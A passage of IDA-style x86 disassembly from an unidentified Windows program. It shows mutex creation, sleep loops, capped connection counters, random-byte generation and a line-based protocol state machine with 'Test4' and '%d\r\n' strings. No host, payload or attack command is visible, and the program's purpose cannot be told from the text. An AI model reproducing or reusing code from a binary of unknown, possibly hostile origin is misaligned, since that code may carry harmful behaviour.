[ebp-1Ch], ebx mov byte ptr [ebp-4], 1 mov eax, [ebp-28h] mov ecx, [eax] lea edx, [ebp-1Ch] push edx push eax call dword ptr [ecx+24h] mov eax, [ebp-28h] mov ecx, [eax] push eax call dword ptr [ecx+8] push dword ptr [ebp-1Ch] call sub_41B760 mov [ebp-18h], eax lea eax, [ebp-3Ch] mov [ebp-14h], ebx call sub_4018AC test eax, eax jbe short loc_409845 mov esi, [ebp-38h] add esi, 4 loc_409817: ; CODE XREF: sub_409729+11Aj cmp dword ptr [esi+14h], 10h jb short loc_409821 mov eax, [esi] jmp short loc_409823 ; --------------------------------------------------------------------------- loc_409821: ; CODE XREF: sub_409729+F2j mov eax, esi loc_409823: ; CODE XREF: sub_409729+F6j push eax push dword ptr [ebp-18h] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40986B inc dword ptr [ebp-14h] lea eax, [ebp-3Ch] add esi, 1Ch call sub_4018AC cmp [ebp-14h], eax jb short loc_409817 loc_409845: ; CODE XREF: sub_409729+E6j push dword ptr [ebp-18h] lea ecx, [ebp-58h] call sub_401818 lea eax, [ebp-58h] push eax lea eax, [ebp-3Ch] mov byte ptr [ebp-4], 2 call sub_4018C2 push ebx push 1 lea ecx, [ebp-58h] call sub_4019B1 loc_40986B: ; CODE XREF: sub_409729+107j push dword ptr [ebp-18h] call sub_41CA28 pop ecx mov [ebp-4], bl push dword ptr [ebp-1Ch] call ds:dword_4291D4 inc edi cmp edi, [ebp-20h] jb loc_4097B2 loc_40988A: ; CODE XREF: sub_409729+83j mov eax, [ebp-24h] mov ecx, [eax] push eax call dword ptr [ecx+8] pop edi loc_409894: ; CODE XREF: sub_409729+40j push dword ptr [ebp+8] lea ecx, [ebp-3Ch] call sub_401844 lea esi, [ebp-3Ch] call sub_401A89 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi pop ebx mov large fs:0, ecx leave retn sub_409729 endp ; =============== S U B R O U T I N E ======================================= sub_4098B8 proc near ; CODE XREF: sub_4099C8+17p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, eax and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh push 200h push [esp+8+arg_0] lea eax, [esi+10h] push eax mov dword ptr [esi], offset off_4304E8 call sub_41C5A0 mov eax, [esp+10h+arg_4] add esp, 0Ch mov [esi+210h], eax call sub_416AC4 mov eax, esi pop esi retn 8 sub_4098B8 endp ; =============== S U B R O U T I N E ======================================= sub_4098F3 proc near ; DATA XREF: .text:off_4304E8o mov eax, offset loc_427F24 call sub_41E550 sub esp, 28h push esi push edi lea eax, [ebp-34h] push eax mov edi, ecx call sub_409729 pop ecx and dword ptr [ebp-4], 0 and dword ptr [ebp-14h], 0 lea eax, [ebp-34h] call sub_4018AC test eax, eax jbe loc_4099B2 mov eax, [ebp-30h] add eax, 4 push ebx mov ebx, ds:dword_429084 mov [ebp-10h], eax mov esi, offset dword_438140 loc_40993B: ; CODE XREF: sub_4098F3+BCj mov eax, esi call sub_416B68 mov ecx, [edi+210h] mov [ebp-1Ch], eax xor eax, eax cmp edx, eax ja short loc_40997C jb short loc_409958 cmp [ebp-1Ch], ecx jnb short loc_40997C loc_409958: ; CODE XREF: sub_4098F3+5Ej ; sub_4098F3+80j ... push 3E8h call ebx ; Sleep mov eax, esi call sub_416B68 mov ecx, [edi+210h] mov [ebp-24h], eax xor eax, eax cmp edx, eax jb short loc_409958 ja short loc_40997C cmp [ebp-24h], ecx jb short loc_409958 loc_40997C: ; CODE XREF: sub_4098F3+5Cj ; sub_4098F3+63j ... mov ecx, [ebp-10h] cmp dword ptr [ecx+14h], 10h jb short loc_409987 mov ecx, [ecx] loc_409987: ; CODE XREF: sub_4098F3+90j push 1 lea eax, [edi+10h] push eax push ecx call sub_4095D4 add esp, 0Ch push 1388h call ebx ; Sleep inc dword ptr [ebp-14h] add dword ptr [ebp-10h], 1Ch lea eax, [ebp-34h] call sub_4018AC cmp [ebp-14h], eax jb short loc_40993B pop ebx loc_4099B2: ; CODE XREF: sub_4098F3+2Dj lea esi, [ebp-34h] call sub_401A89 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= sub_4099C8 proc near ; CODE XREF: sub_40F661+20p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 214h call sub_41BA91 test eax, eax pop ecx jz short locret_4099E4 push [esp+arg_4] push [esp+4+arg_0] call sub_4098B8 locret_4099E4: ; CODE XREF: sub_4099C8+Dj retn sub_4099C8 endp ; =============== S U B R O U T I N E ======================================= sub_4099E5 proc near ; CODE XREF: sub_407D47+13p ; sub_40A355+1Cp ... xor eax, eax push eax push eax push eax call ds:dword_429134 ; CreateMutexA mov [esi], eax mov eax, esi retn sub_4099E5 endp ; --------------------------------------------------------------------------- loc_4099F5: ; CODE XREF: .text:0042791Fj ; .text:00427BCEj ... push dword ptr [eax] call ds:dword_4290F0 ; CloseHandle retn ; =============== S U B R O U T I N E ======================================= sub_4099FE proc near ; CODE XREF: sub_40466F+1p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_429080 ; InitializeCriticalSection mov eax, [esp+arg_0] retn 4 sub_4099FE endp ; =============== S U B R O U T I N E ======================================= sub_409A0F proc near ; CODE XREF: sub_40A355+Bp arg_0 = byte ptr 4 push esi push edi lea eax, [ebx+8] mov dword ptr [ebx], offset off_430500 call sub_414E89 lea esi, [ebx+2Ch] call sub_414878 lea eax, [ebx+7C8h] xor ecx, ecx mov edi, 800h lea esi, [ebx+8] mov [eax], ecx mov [eax+4], ecx mov [eax+8], ecx call sub_414EC6 lea eax, [ebx+2Ch] push eax call sub_414ACD mov al, [esp+8+arg_0] mov [ebx+7B4h], al xor eax, eax pop edi mov [ebx+7B8h], eax mov [ebx+7BCh], eax mov [ebx+5A0h], eax mov [ebx+7C4h], eax mov eax, ebx pop esi retn 4 sub_409A0F endp ; =============== S U B R O U T I N E ======================================= sub_409A78 proc near ; CODE XREF: sub_40C5D0+Fp cmp dword ptr [edi+7BCh], 0 mov dword ptr [edi], offset off_430500 jnz short locret_409A9B push esi lea esi, [edi+8] call sub_414EA3 push 3 lea eax, [edi+2Ch] call sub_414D44 pop esi locret_409A9B: ; CODE XREF: sub_409A78+Dj retn sub_409A78 endp ; =============== S U B R O U T I N E ======================================= sub_409A9C proc near ; CODE XREF: .text:0040BC1Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax mov [edi+5A4h], eax mov [edi+7B4h], cl push ebx push esi mov [edi+14h], eax mov [edi+18h], eax mov [edi+20h], eax mov [edi+24h], eax mov [edi+28h], eax mov [edi+0Ch], eax lea esi, [edi+2Ch] mov [esi], eax mov [esi+22Ch], eax push 1 mov eax, esi call sub_414D44 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA push 10h pop ebx call sub_414AE0 push [esp+8+arg_0] mov eax, [esp+0Ch+arg_4] mov ecx, esi call sub_414A81 xor eax, eax pop esi mov [edi+5A0h], eax mov [edi+7ACh], eax mov [edi+7B8h], eax mov [edi+7C4h], eax pop ebx retn 8 sub_409A9C endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: sub_409BDA:loc_409C3Cp ; sub_409BDA+3F6p ... arg_0 = dword ptr 4 push esi mov esi, eax push 2 lea eax, [esi+2Ch] call sub_414DBA mov eax, [esp+4+arg_0] mov [esi+5A0h], eax mov dword ptr [esi+7C4h], 1 mov dword ptr [esi+7D0h], 1388h add esi, 7C8h call sub_416B0E pop esi retn 4 sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B4C proc near ; CODE XREF: sub_40C4F9+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] push ebx push esi push edi lea edi, [eax+2Ch] mov [eax+7B8h], ecx push 3 mov eax, edi mov [ebp+var_4], edi call sub_414D44 mov esi, [ebp+arg_4] mov ecx, 15Dh push 21h rep movsd mov esi, [ebp+var_4] pop ebx call sub_414AE0 mov ebx, [ebp+arg_0] lea edi, [ebx+8] mov esi, edi call sub_414EA3 mov esi, [ebp+arg_8] push 9 pop ecx rep movsd xor edi, edi inc edi cmp [ebp+arg_C], edi jnz short loc_409BCD push 2 pop edx lea eax, [ebx+8] mov [ebx+5A4h], edi call sub_414FF1 lea esi, [ebx+7C8h] mov dword ptr [ebx+7D0h], 3A98h call sub_416B0E and dword ptr [ebx+7ACh], 0 loc_409BCD: ; CODE XREF: sub_409B4C+52j mov [ebx+7BCh], edi pop edi pop esi pop ebx leave retn 10h sub_409B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BDA proc near ; CODE XREF: sub_40C4D1+1Ep var_EC0 = byte ptr -0EC0h var_ABC = byte ptr -0ABCh var_6B8 = byte ptr -6B8h var_48C = byte ptr -48Ch var_460 = byte ptr -460h var_260 = byte ptr -260h var_25F = byte ptr -25Fh var_25E = byte ptr -25Eh var_25D = byte ptr -25Dh var_23D = byte ptr -23Dh var_60 = byte ptr -60h var_40 = dword ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_18 = dword ptr 20h arg_2C = dword ptr 34h push ebp mov ebp, esp sub esp, 0EC0h test [ebp+arg_4], 20h push ebx mov ebx, [ebp+arg_0] push esi push edi jnz loc_40A27A xor esi, esi cmp [ebx+7C4h], esi jz short loc_409C10 lea eax, [ebx+7C8h] call sub_416B46 test eax, eax jnz loc_40A27A loc_409C10: ; CODE XREF: sub_409BDA+21j cmp dword ptr [ebx+5A4h], 6 jz short loc_409C46 lea eax, [ebx+7C8h] call sub_416B46 test eax, eax jz short loc_409C46 cmp [ebx+5A4h], esi jz short loc_409C46 cmp [ebx+7C4h], esi jnz short loc_409C46 push 9 loc_409C3A: ; CODE XREF: sub_409BDA+1C6j ; sub_409BDA+1EFj ... mov eax, ebx loc_409C3C: ; CODE XREF: sub_409BDA+333j call sub_409B12 jmp loc_40A275 ; --------------------------------------------------------------------------- loc_409C46: ; CODE XREF: sub_409BDA+3Dj ; sub_409BDA+4Cj ... mov ecx, [ebx+5A4h] cmp ecx, 6 jz loc_40A261 mov eax, [ebx+7B8h] cmp eax, esi jnz loc_409F12 test [ebp+arg_4], 10h jz loc_409D13 cmp ecx, esi jnz loc_409D13 cmp [ebp+arg_18], esi jnz loc_409CFE mov ecx, ds:dword_435F80 lea eax, [ebx+7B0h] push 2 lea edi, [ebx+2Ch] push eax mov [eax], cl mov [eax+1], ch call sub_414C2D mov eax, ds:dword_435F80 add eax, 7 shr eax, 3 mov ecx, offset dword_436184 push eax sub ecx, eax push ecx call sub_414C2D mov [ebx+5A8h], esi mov dword ptr [ebx+5A4h], 3 mov edx, ds:dword_435F80 add edx, 7 shr edx, 3 lea eax, [ebx+8] call sub_414FF1 push 21h pop ebx mov esi, edi call sub_414AE0 mov eax, [ebp+arg_0] lea esi, [eax+7C8h] mov dword ptr [eax+7D0h], 3A98h call sub_416B0E mov ebx, [ebp+arg_0] jmp short loc_409D13 ; --------------------------------------------------------------------------- loc_409CFE: ; CODE XREF: sub_409BDA+9Ej cmp [ebp+arg_18], 274Ch mov eax, [ebx] mov ecx, ebx jnz short loc_409D0F push 1 jmp short loc_409D11 ; --------------------------------------------------------------------------- loc_409D0F: ; CODE XREF: sub_409BDA+12Fj push 2 loc_409D11: ; CODE XREF: sub_409BDA+133j call dword ptr [eax] loc_409D13: ; CODE XREF: sub_409BDA+8Dj ; sub_409BDA+95j ... test [ebp+arg_4], 1 jz loc_40A275 lea esi, [ebx+7C8h] call sub_416B0E mov eax, [ebx+5A4h] cmp eax, 3 jnz loc_409E7F lea eax, [ebx+2Ch] lea esi, [ebx+8] push eax mov edi, esi call sub_414EDD test eax, eax jle loc_40A275 mov eax, esi call sub_41501F mov ecx, esi mov [ebp+arg_0], eax lea edi, [ebx+5A8h] call sub_415008 push dword ptr [esi] mov esi, eax mov eax, edi call sub_40D6E6 cmp [ebp+arg_0], 0 jz loc_40A275 push dword ptr [edi] lea eax, [ebx+5ACh] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_260] push eax mov eax, offset dword_436388 call sub_41907F add esp, 10h test eax, eax jz short loc_409DA5 push 3 jmp loc_409C3A ; --------------------------------------------------------------------------- loc_409DA5: ; CODE XREF: sub_409BDA+1C2j movzx ax, [ebp+var_25F] movzx cx, [ebp+var_260] mov esi, [ebp+arg_0] shl eax, 8 add eax, ecx movzx ecx, ax add ecx, 3 cmp ecx, esi jb short loc_409DCE push 5 jmp loc_409C3A ; --------------------------------------------------------------------------- loc_409DCE: ; CODE XREF: sub_409BDA+1EBj cmp ax, 20h jz short loc_409DDB push 8 jmp loc_409C3A ; --------------------------------------------------------------------------- loc_409DDB: ; CODE XREF: sub_409BDA+1F8j lea eax, [esi-22h] push eax call sub_41BAB5 mov edi, eax lea eax, [esi-23h] push eax lea eax, [ebp+var_23D] push eax push edi call sub_41BC60 push offset aTest4 ; "Test4" push edi mov byte ptr [edi+esi-23h], 0 call sub_41C730 add esp, 18h test eax, eax push edi jz short loc_409E1C call sub_41CA28 pop ecx push 7 jmp loc_409C3A ; --------------------------------------------------------------------------- loc_409E1C: ; CODE XREF: sub_409BDA+233j call sub_41CA28 pop ecx lea edi, [ebp+var_48C] call sub_404CB9 push 20h lea eax, [ebp+var_25D] push eax mov esi, edi call sub_404D1E sub esp, 22Ch mov edi, esp mov ecx, 8Bh lea esi, [ebp+var_48C] lea edx, [ebx+2Ch] rep movsd call sub_414913 movzx eax, byte ptr [ebx+7B4h] push eax push offset aD ; "%d\r\n" mov edi, edx mov dword ptr [ebx+5A4h], 5 call sub_414CA6 pop ecx pop ecx jmp loc_40A275 ; --------------------------------------------------------------------------- loc_409E7F: ; CODE XREF: sub_409BDA+157j cmp eax, 5 jnz loc_40A275 lea esi, [ebx+8] add ebx, 2Ch push ebx mov edi, esi call sub_414EDD test eax, eax jle loc_40A275 push offset asc_42FF68 ; "\r\n" push 2 pop ebx call sub_414F40 test eax, eax jz loc_40A275 push dword ptr [esi] call sub_41D59C cmp eax, 1 pop ecx jnz short loc_409F01 mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx+7B4h] and dword ptr [ecx+5A0h], 0 dec eax jz short loc_409EEA dec eax jz short loc_409EE2 dec eax jnz short loc_409EF0 inc ds:dword_435F78 jmp short loc_409EF0 ; --------------------------------------------------------------------------- loc_409EE2: ; CODE XREF: sub_409BDA+2FBj inc ds:dword_435F70 jmp short loc_409EF0 ; --------------------------------------------------------------------------- loc_409EEA: ; CODE XREF: sub_409BDA+2F8j inc ds:dword_435F74 loc_409EF0: ; CODE XREF: sub_409BDA+2FEj ; sub_409BDA+306j ... mov eax, [ecx] mov dword ptr [ecx+5A4h], 6 jmp loc_40A25C ; --------------------------------------------------------------------------- loc_409F01: ; CODE XREF: sub_409BDA+2E4j push dword ptr [esi] call sub_41D59C pop ecx push eax mov eax, [ebp+arg_0] jmp loc_409C3C ; --------------------------------------------------------------------------- loc_409F12: ; CODE XREF: sub_409BDA+83j cmp eax, 1 jnz loc_40A275 test [ebp+arg_4], al jz loc_40A275 lea esi, [ebx+7C8h] call sub_416B0E lea eax, [ebx+2Ch] lea esi, [ebx+8] mov [ebp+arg_2C], eax mov [ebp+var_4], esi push eax jmp loc_409FDE ; --------------------------------------------------------------------------- loc_409F41: ; CODE XREF: sub_409BDA+40Dj mov eax, [ebp+arg_2C] call sub_414937 test eax, eax jz loc_409FF2 cmp dword ptr [ebx+5A4h], 4 jnz short loc_409FD8 mov esi, [ebp+var_4] push offset asc_42FF68 ; "\r\n" push 2 pop ebx call sub_414F40 test eax, eax jz short loc_409FD5 mov eax, esi push dword ptr [eax] call sub_41D59C test al, al mov esi, [ebp+arg_0] pop ecx mov [esi+7B4h], al jbe short loc_409FCC cmp al, 3 ja short loc_409FCC movzx eax, al dec eax jz short loc_409FA7 dec eax jz short loc_409F9E dec eax jnz short loc_409FD5 mov eax, offset dword_435F78 push 0Fh jmp short loc_409FAE ; --------------------------------------------------------------------------- loc_409F9E: ; CODE XREF: sub_409BDA+3B6j mov eax, offset dword_435F70 push 32h jmp short loc_409FAE ; --------------------------------------------------------------------------- loc_409FA7: ; CODE XREF: sub_409BDA+3B3j mov eax, offset dword_435F74 push 64h loc_409FAE: ; CODE XREF: sub_409BDA+3C2j ; sub_409BDA+3CBj mov edi, [ebp+arg_2C] pop ecx cmp [eax], ecx jb loc_40A237 push 4 push offset aD ; "%d\r\n" call sub_414CA6 pop ecx pop ecx push 4 jmp short loc_409FCE ; --------------------------------------------------------------------------- loc_409FCC: ; CODE XREF: sub_409BDA+3A9j ; sub_409BDA+3ADj push 6 loc_409FCE: ; CODE XREF: sub_409BDA+3F0j mov eax, esi call sub_409B12 loc_409FD5: ; CODE XREF: sub_409BDA+392j ; sub_409BDA+3B9j mov ebx, [ebp+arg_0] loc_409FD8: ; CODE XREF: sub_409BDA+37Ej ; sub_409BDA+49Fj ... push [ebp+arg_2C] mov esi, [ebp+var_4] loc_409FDE: ; CODE XREF: sub_409BDA+362j mov edi, esi call sub_414EDD test eax, eax jg loc_409F41 jmp loc_40A275 ; --------------------------------------------------------------------------- loc_409FF2: ; CODE XREF: sub_409BDA+371j cmp dword ptr [ebx+5A4h], 1 jnz short loc_40A072 mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+7ACh] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz short loc_40A072 lea ecx, [ebx+7B0h] movzx ax, byte ptr [ecx+1] movzx cx, byte ptr [ecx] shl eax, 8 add eax, ecx cmp ax, 1000h ja short loc_40A069 cmp ax, 200h jb short loc_40A069 movzx eax, ax add eax, 7 push 8 cdq pop ecx idiv ecx mov edx, eax mov eax, [ebp+var_4] call sub_414FF1 and dword ptr [ebx+5A8h], 0 mov dword ptr [ebx+5A4h], 2 jmp short loc_40A07F ; --------------------------------------------------------------------------- loc_40A069: ; CODE XREF: sub_409BDA+45Ej ; sub_409BDA+464j push 8 mov eax, ebx call sub_409B12 loc_40A072: ; CODE XREF: sub_409BDA+41Fj ; sub_409BDA+444j cmp dword ptr [ebx+5A4h], 2 jnz loc_409FD8 loc_40A07F: ; CODE XREF: sub_409BDA+48Dj mov esi, [ebp+var_4] mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+5A8h] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_409FD8 xor esi, esi loc_40A0AD: ; CODE XREF: sub_409BDA+4E9j push 0FFh push 0 call sub_40D864 mov [ebp+esi+var_60], al inc esi cmp esi, 20h pop ecx pop ecx jb short loc_40A0AD lea eax, [ebx+7B0h] movzx cx, byte ptr [eax+1] movzx ax, byte ptr [eax] push offset aTest4 ; "Test4" shl ecx, 8 add ecx, eax movzx esi, cx call sub_41C350 pop ecx mov ecx, esi add eax, 23h shr ecx, 3 cmp eax, ecx jbe short loc_40A101 push 8 loc_40A0F5: ; CODE XREF: sub_409BDA+602j mov eax, ebx call sub_409B12 jmp loc_409FD8 ; --------------------------------------------------------------------------- loc_40A101: ; CODE XREF: sub_409BDA+517j lea eax, [ebx+5ACh] push eax lea eax, [ebp+var_EC0] push eax mov eax, esi call sub_404D91 mov esi, eax mov ecx, 101h lea edi, [ebp+var_ABC] rep movsd lea esi, [ebp+var_40] call sub_418DCE push [ebp+var_40] call sub_41BAB5 xor esi, esi add esp, 0Ch cmp [ebp+var_40], esi mov edi, eax jbe short loc_40A158 loc_40A141: ; CODE XREF: sub_409BDA+57Cj push 0FFh push 0 call sub_40D864 mov [esi+edi], al inc esi cmp esi, [ebp+var_40] pop ecx pop ecx jb short loc_40A141 loc_40A158: ; CODE XREF: sub_409BDA+565j push [ebp+var_40] lea esi, [ebp+var_40] push edi call sub_418DEB push edi call sub_41CA28 push 20h lea eax, [ebp+var_60] push eax lea eax, [ebp+var_25D] push eax mov [ebp+var_260], 20h mov [ebp+var_25F], 0 mov [ebp+var_25E], 0 call sub_41BC60 mov esi, offset aTest4 ; "Test4" lea eax, [ebp+var_23D] push esi push eax call sub_41C930 add esp, 20h lea eax, [ebp+var_40] push eax lea eax, [ebp+var_ABC] push eax push esi call sub_41C350 pop ecx add eax, 23h push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_460] push eax call sub_418EFC add esp, 18h test eax, eax jz short loc_40A1E1 push 3 jmp loc_40A0F5 ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: sub_409BDA+5FEj push [ebp+var_8] mov edi, [ebp+arg_2C] lea eax, [ebp+var_460] push eax call sub_414C2D lea edi, [ebp+var_6B8] call sub_404CB9 push 20h lea eax, [ebp+var_60] push eax mov esi, edi call sub_404D1E mov edx, [ebp+arg_2C] sub esp, 22Ch mov edi, esp mov ecx, 8Bh lea esi, [ebp+var_6B8] rep movsd call sub_414913 mov dword ptr [ebx+5A4h], 4 jmp loc_409FD8 ; --------------------------------------------------------------------------- loc_40A237: ; CODE XREF: sub_409BDA+3DAj inc dword ptr [eax] and dword ptr [esi+5A0h], 0 push 1 push offset aD ; "%d\r\n" call sub_414CA6 mov eax, [esi] pop ecx pop ecx mov dword ptr [esi+5A4h], 6 mov ecx, esi loc_40A25C: ; CODE XREF: sub_409BDA+322j call dword ptr [eax+4] jmp short loc_40A275 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_409BDA+75j mov eax, [ebx] sub esp, 2Ch push 0Bh pop ecx mov edi, esp lea esi, [ebp+arg_4] rep movsd mov ecx, ebx call dword ptr [eax+8] loc_40A275: ; CODE XREF: sub_409BDA+67j ; sub_409BDA+13Dj ... xor eax, eax inc eax jmp short loc_40A2C1 ; --------------------------------------------------------------------------- loc_40A27A: ; CODE XREF: sub_409BDA+13j ; sub_409BDA+30j cmp dword ptr [ebx+5A4h], 6 jnz short loc_40A2A9 movzx eax, byte ptr [ebx+7B4h] dec eax jz short loc_40A2A3 dec eax jz short loc_40A29B dec eax jnz short loc_40A2A9 dec ds:dword_435F78 jmp short loc_40A2A9 ; --------------------------------------------------------------------------- loc_40A29B: ; CODE XREF: sub_409BDA+6B4j dec ds:dword_435F70 jmp short loc_40A2A9 ; --------------------------------------------------------------------------- loc_40A2A3: ; CODE XREF: sub_409BDA+6B1j dec ds:dword_435F74 loc_40A2A9: ; CODE XREF: sub_409BDA+6A7j ; sub_409BDA+6B7j ... push 1 lea eax, [ebx+2Ch] call sub_414D44 push dword ptr [ebx+5A0h] mov eax, [ebx] mov ecx, ebx call dword ptr [eax] xor eax, eax loc_40A2C1: ; CODE XREF: sub_409BDA+69Ej pop edi pop esi pop ebx leave retn 30h sub_409BDA endp ; =============== S U B R O U T I N E ======================================= sub_40A2C8 proc near ; CODE XREF: .text:0040AD5Dp ; .text:0040AE00p ... arg_0 = byte ptr 4 cmp [esp+arg_0], 2 mov cl, [eax+7B4h] jnz short loc_40A2ED cmp ds:dword_435F70, 32h jnb short loc_40A350 inc ds:dword_435F70 mov byte ptr [eax+7B4h], 2 jmp short loc_40A329 ; --------------------------------------------------------------------------- loc_40A2ED: ; CODE XREF: sub_40A2C8+Bj cmp [esp+arg_0], 1 jnz short loc_40A30C cmp ds:dword_435F74, 64h jnb short loc_40A350 inc ds:dword_435F74 mov byte ptr [eax+7B4h], 1 jmp short loc_40A329 ; --------------------------------------------------------------------------- loc_40A30C: ; CODE XREF: sub_40A2C8+2Aj cmp [esp+arg_0], 3 jnz short loc_40A350 cmp ds:dword_435F78, 0Fh jnb short loc_40A350 inc ds:dword_435F78 mov byte ptr [eax+7B4h], 3 loc_40A329: ; CODE XREF: sub_40A2C8+23j ; sub_40A2C8+42j movzx eax, cl dec eax jz short loc_40A345 dec eax jz short loc_40A33D dec eax jnz short loc_40A34B dec ds:dword_435F78 jmp short loc_40A34B ; --------------------------------------------------------------------------- loc_40A33D: ; CODE XREF: sub_40A2C8+68j dec ds:dword_435F70 jmp short loc_40A34B ; --------------------------------------------------------------------------- loc_40A345: ; CODE XREF: sub_40A2C8+65j dec ds:dword_435F74 loc_40A34B: ; CODE XREF: sub_40A2C8+6Bj ; sub_40A2C8+73j ... xor eax, eax inc eax jmp short locret_40A352 ; --------------------------------------------------------------------------- loc_40A350: ; CODE XREF: sub_40A2C8+14j ; sub_40A2C8+33j ... xor eax, eax locret_40A352: ; CODE XREF: sub_40A2C8+86j retn 4 sub_40A2C8 endp ; =============== S U B R O U T I N E ======================================= sub_40A355 proc near ; CODE XREF: sub_40C4F9+25p push ebx push ebp push esi push edi mov edi, eax xor ebp, ebp push ebp mov ebx, edi call sub_409A0F lea esi, [edi+7D8h] mov dword ptr [edi], offset off_430524 call sub_4099E5 lea eax, [edi+9F0h] call sub_417057 lea eax, [edi+0B78h] mov [eax], ebp mov [eax+4], ebp mov [eax+8], ebp mov [edi+0A48h], ebp mov [edi+7DCh], ebp call sub_40B72F mov [edi+0B8Ch], ebp mov [edi+0B90h], ebp mov eax, edi pop edi pop esi pop ebp pop ebx retn sub_40A355 endp ; =============== S U B R O U T I N E ======================================= sub_40A3B3 proc near ; CODE XREF: .text:0040BBECp arg_0 = byte ptr 4 push esi push edi push 48h mov edi, eax pop ecx add edi, 0A50h lea esi, [esp+8+arg_0] rep movsd pop edi pop esi retn 120h sub_40A3B3 endp ; --------------------------------------------------------------------------- mov eax, offset loc_427F12 call sub_41E550 mov eax, 13B8h call sub_41E090 test byte ptr [ebp+8], 1 push ebx push esi mov ebx, ecx push edi mov [ebp-10h], ebx jz loc_40B3F7 mov edi, ebx call sub_40B72F lea eax, [ebx+2Ch] lea edi, [ebx+8] mov [ebp-14h], eax mov [ebp-1Ch], edi push eax jmp loc_40B3EA ; --------------------------------------------------------------------------- loc_40A40A: ; CODE XREF: .text:0040A471j ; .text:0040A4F2j ... xor esi, esi cmp [ebx+20h], esi jz loc_40A746 cmp [ebx+0B8Ch], esi jz loc_40B212 mov eax, [ebp-1Ch] call sub_41501F mov edi, eax mov eax, [ebx+0B8Ch] cmp eax, 1 jnz short loc_40A473 mov esi, [ebp-1Ch] mov ecx, esi call sub_415008 push dword ptr [esi] lea ecx, [ebx+0B98h] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_40B3E4 mov edx, [ebx+0DA0h] mov eax, [ebp-1Ch] mov dword ptr [ebx+0B8Ch], 2 call sub_414FF1 jmp short loc_40A40A ; --------------------------------------------------------------------------- loc_40A473: ; CODE XREF: .text:0040A434j cmp eax, 2 jnz loc_40B3E4 cmp [ebx+0B94h], esi jnz short loc_40A496 push dword ptr [ebx+0DA0h] call sub_41BAB5 pop ecx mov [ebx+0B90h], eax loc_40A496: ; CODE XREF: .text:0040A482j mov ecx, [ebp-1Ch] call sub_415008 push eax mov eax, [ebp-1Ch] push dword ptr [eax] mov eax, [ebx+0B94h] add eax, [ebx+0B90h] push eax call sub_41BC60 mov ecx, [ebp-1Ch] add esp, 0Ch call sub_415008 add [ebx+0B94h], eax cmp edi, esi jz loc_40B3E4 mov esi, ds:dword_43816C push esi push ds:dword_438168 lea edx, [ebx+0D9Ch] lea eax, [ebp-64h] mov [ebp-18h], edx call sub_40C4B5 cmp [ebp-64h], esi pop ecx pop ecx jnz loc_40A40A cmp dword ptr [ebx+0DC8h], 0 jz loc_40A58B push 2 pop eax cmp [ebx+0DC4h], eax jbe short loc_40A516 mov [ebx+0DC4h], eax loc_40A516: ; CODE XREF: .text:0040A50Ej push 100h lea eax, [ebp-7A4h] push eax push dword ptr [ebx+0B90h] lea edi, [ebp+32h] call sub_409454 add esp, 0Ch lea eax, [ebp-7A4h] push eax mov esi, offset dword_438174 call sub_407331 test eax, eax jnz loc_40A6FE push dword ptr [ebx+0B90h] call sub_408F96 cmp byte ptr [ebx+7B4h], 3 pop ecx jnz loc_40A6FE push dword ptr [ebx+0DC8h] mov eax, [ebp-18h] push dword ptr [eax] lea eax, [ebx+0DA4h] push 0 push dword ptr [ebx+0B90h] push dword ptr [ebx+0DC4h] push eax push ebx jmp loc_40A6F0 ; --------------------------------------------------------------------------- loc_40A58B: ; CODE XREF: .text:0040A4FFj lea eax, [ebx+0B9Ch] push 200h push eax mov [ebp+30h], eax lea eax, [ebp-6Ch] push eax lea eax, [ebp-0AA4h] push eax mov eax, offset dword_436E90 call sub_418FBD add esp, 10h test eax, eax jnz loc_40A6FE cmp dword ptr [ebp-6Ch], 10h jnz loc_40A6FE lea eax, [ebp-124h] call sub_417057 push dword ptr [ebx+0B90h] mov ebx, [ebx+0DA0h] call sub_41707B mov eax, [ebp-18h] push dword ptr [eax] lea eax, [ebp-0CCh] push offset asc_4305E8 ; "%X" push eax call sub_41CA2D lea eax, [ebp-0CCh] push eax call sub_41C350 lea ecx, [ebp-0CCh] mov ebx, eax push ecx lea eax, [ebp-124h] call sub_41707B mov esi, [ebp-10h] add esi, 0DA4h push esi call sub_41C350 mov ebx, eax push esi lea eax, [ebp-124h] call sub_41707B lea eax, [ebp-9Ch] push eax lea edi, [ebp-124h] call sub_417107 push 10h lea eax, [ebp-0AA4h] push eax lea eax, [ebp-9Ch] push eax call sub_41D290 add esp, 30h test eax, eax jnz loc_40A6FB mov edi, [ebp-10h] mov al, [edi+7B4h] cmp al, 3 jz short loc_40A68A cmp al, 1 jnz short loc_40A67F cmp dword ptr [edi+0DCCh], 0 jnz short loc_40A68A loc_40A67F: ; CODE 